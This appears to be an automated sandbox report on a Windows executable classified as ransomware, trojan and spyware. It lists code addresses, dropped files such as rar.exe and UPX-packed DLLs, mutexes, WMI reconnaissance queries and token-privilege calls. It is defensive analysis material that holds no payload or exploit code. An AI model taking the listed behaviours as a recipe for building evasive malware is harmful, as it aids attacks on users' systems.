Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB381956	1_2_00007FFDFB381956
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9AEE3027	6_2_00007FFD9AEE3027
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B27B24	65_2_00007FF629B27B24
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B00A2C	65_2_00007FF629B00A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AFABA0	65_2_00007FF629AFABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B1AE10	65_2_00007FF629B1AE10
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AF82F0	65_2_00007FF629AF82F0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B01180	65_2_00007FF629B01180
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B054C0	65_2_00007FF629B054C0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AFB540	65_2_00007FF629AFB540
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AF1884	65_2_00007FF629AF1884
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B5AAC0	65_2_00007FF629B5AAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AFCB14	65_2_00007FF629AFCB14
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B2FA6C	65_2_00007FF629B2FA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B35A70	65_2_00007FF629B35A70
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B369FD	65_2_00007FF629B369FD
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AF49B8	65_2_00007FF629AF49B8
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B1D97C	65_2_00007FF629B1D97C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B46D0C	65_2_00007FF629B46D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B19D0C	65_2_00007FF629B19D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B20D20	65_2_00007FF629B20D20
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AFDD04	65_2_00007FF629AFDD04
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B35C8C	65_2_00007FF629B35C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B08C30	65_2_00007FF629B08C30
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B49B98	65_2_00007FF629B49B98
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B34B38	65_2_00007FF629B34B38
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B2AF0C	65_2_00007FF629B2AF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AF9EFC	65_2_00007FF629AF9EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B3EEA4	65_2_00007FF629B3EEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B3AE50	65_2_00007FF629B3AE50
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AFCE84	65_2_00007FF629AFCE84
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B08E68	65_2_00007FF629B08E68
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B4FE74	65_2_00007FF629B4FE74
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B41DCC	65_2_00007FF629B41DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AFEE08	65_2_00007FF629AFEE08
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B01E04	65_2_00007FF629B01E04
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B39D74	65_2_00007FF629B39D74
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B10104	65_2_00007FF629B10104
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B500F0	65_2_00007FF629B500F0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B28040	65_2_00007FF629B28040
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B1C05C	65_2_00007FF629B1C05C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B20074	65_2_00007FF629B20074
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B2C00C	65_2_00007FF629B2C00C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B03030	65_2_00007FF629B03030
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B5DFD8	65_2_00007FF629B5DFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B34FE8	65_2_00007FF629B34FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B5AF90	65_2_00007FF629B5AF90
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B25F4C	65_2_00007FF629B25F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AF42E0	65_2_00007FF629AF42E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B41314	65_2_00007FF629B41314
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B4832C	65_2_00007FF629B4832C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B0D2C0	65_2_00007FF629B0D2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AFF24C	65_2_00007FF629AFF24C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B302A4	65_2_00007FF629B302A4
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B17244	65_2_00007FF629B17244
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B42268	65_2_00007FF629B42268
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B0E21C	65_2_00007FF629B0E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B541CC	65_2_00007FF629B541CC
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B381CC	65_2_00007FF629B381CC
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B32164	65_2_00007FF629B32164
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AFA504	65_2_00007FF629AFA504
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B1D458	65_2_00007FF629B1D458
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B35468	65_2_00007FF629B35468
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B1C3E0	65_2_00007FF629B1C3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B02360	65_2_00007FF629B02360
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B20374	65_2_00007FF629B20374
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B32700	65_2_00007FF629B32700
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B2A710	65_2_00007FF629B2A710
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B30710	65_2_00007FF629B30710
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B086C4	65_2_00007FF629B086C4
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B586D4	65_2_00007FF629B586D4
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B47660	65_2_00007FF629B47660
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B265FC	65_2_00007FF629B265FC
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B4260C	65_2_00007FF629B4260C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B08598	65_2_00007FF629B08598
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B2F59C	65_2_00007FF629B2F59C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B1F5B0	65_2_00007FF629B1F5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B20904	65_2_00007FF629B20904
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B3190C	65_2_00007FF629B3190C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B2D91C	65_2_00007FF629B2D91C
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B238E8	65_2_00007FF629B238E8
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B418A8	65_2_00007FF629B418A8
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B02890	65_2_00007FF629B02890
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629AF8884	65_2_00007FF629AF8884
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B017C8	65_2_00007FF629B017C8
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B167E0	65_2_00007FF629B167E0

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB3ED74F appears 44 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB002734 appears 511 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB0024B9 appears 83 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB001EF1 appears 1581 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB00483B appears 128 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB3812EE appears 131 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB004057 appears 782 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB002A04 appears 172 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB00698D appears 49 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FF6FB1E25F0 appears 100 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FF6FB1E2760 appears 36 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB004D68 appears 38 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB00688E appears 31 times
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: String function: 00007FFDFB00300D appears 55 times
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: String function: 00007FF629B349F4 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: String function: 00007FF629B08444 appears 48 times

Source: e45AiBoV6X.exe

Static PE information: invalid certificate

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: e45AiBoV6X.exe	Binary or memory string: OriginalFilename vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1716755215.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1717360378.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1717532806.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1716650900.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameTpmInit.EXEj% vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1717278890.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1720356944.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1717046095.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1720685232.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1717449095.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1716520142.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1717157218.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1720465191.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1718495170.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000000.00000003.1716876417.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe	Binary or memory string: OriginalFilename vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1990196980.00007FFDFAFF7000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1995577152.00007FFE1026B000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1998105066.00007FFE130CC000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1996719038.00007FFE11EBD000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000000.1721262805.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameTpmInit.EXEj% vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1997261664.00007FFE126D7000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1994792441.00007FFE0EC6D000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1997027781.00007FFE11EE3000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1994297554.00007FFDFF2FE000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1995081068.00007FFE101E4000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1993521575.00007FFDFB897000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython310.dll. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1992103361.00007FFDFB432000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibsslH vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1997553362.00007FFE126F7000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1996384225.00007FFE10318000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe, 00000001.00000002.1997841241.00007FFE12E1C000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs e45AiBoV6X.exe
Source: e45AiBoV6X.exe	Binary or memory string: OriginalFilenameTpmInit.EXEj% vs e45AiBoV6X.exe

Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.998771639088251
Source: libssl-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9903694614553314
Source: python310.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.99934387748315
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9978469358079526
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9943230597527473

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@135/52@2/2

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 0_2_00007FF6FB1E29E0 GetLastError,FormatMessageW,MessageBoxW,

0_2_00007FF6FB1E29E0

Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B0EF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		65_2_00007FF629B0EF50
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Code function: 65_2_00007FF629B3B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		65_2_00007FF629B3B57C

Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe

Code function: 65_2_00007FF629B13144 GetDiskFreeSpaceExW,

65_2_00007FF629B13144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7796:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Mutant created: \Sessions\1\BaseNamedObjects\3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1816:120:WilError_03

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI73802

Jump to behavior

Source: e45AiBoV6X.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: e45AiBoV6X.exe	Virustotal: Detection: 50%
Source: e45AiBoV6X.exe	ReversingLabs: Detection: 47%

Source: e45AiBoV6X.exe	String found in binary or memory: id-cmc-addExtensions
Source: e45AiBoV6X.exe	String found in binary or memory: set-addPolicy
Source: e45AiBoV6X.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: e45AiBoV6X.exe	String found in binary or memory: --help
Source: e45AiBoV6X.exe	String found in binary or memory: --help

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

File read: C:\Users\user\Desktop\e45AiBoV6X.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\e45AiBoV6X.exe "C:\Users\user\Desktop\e45AiBoV6X.exe"
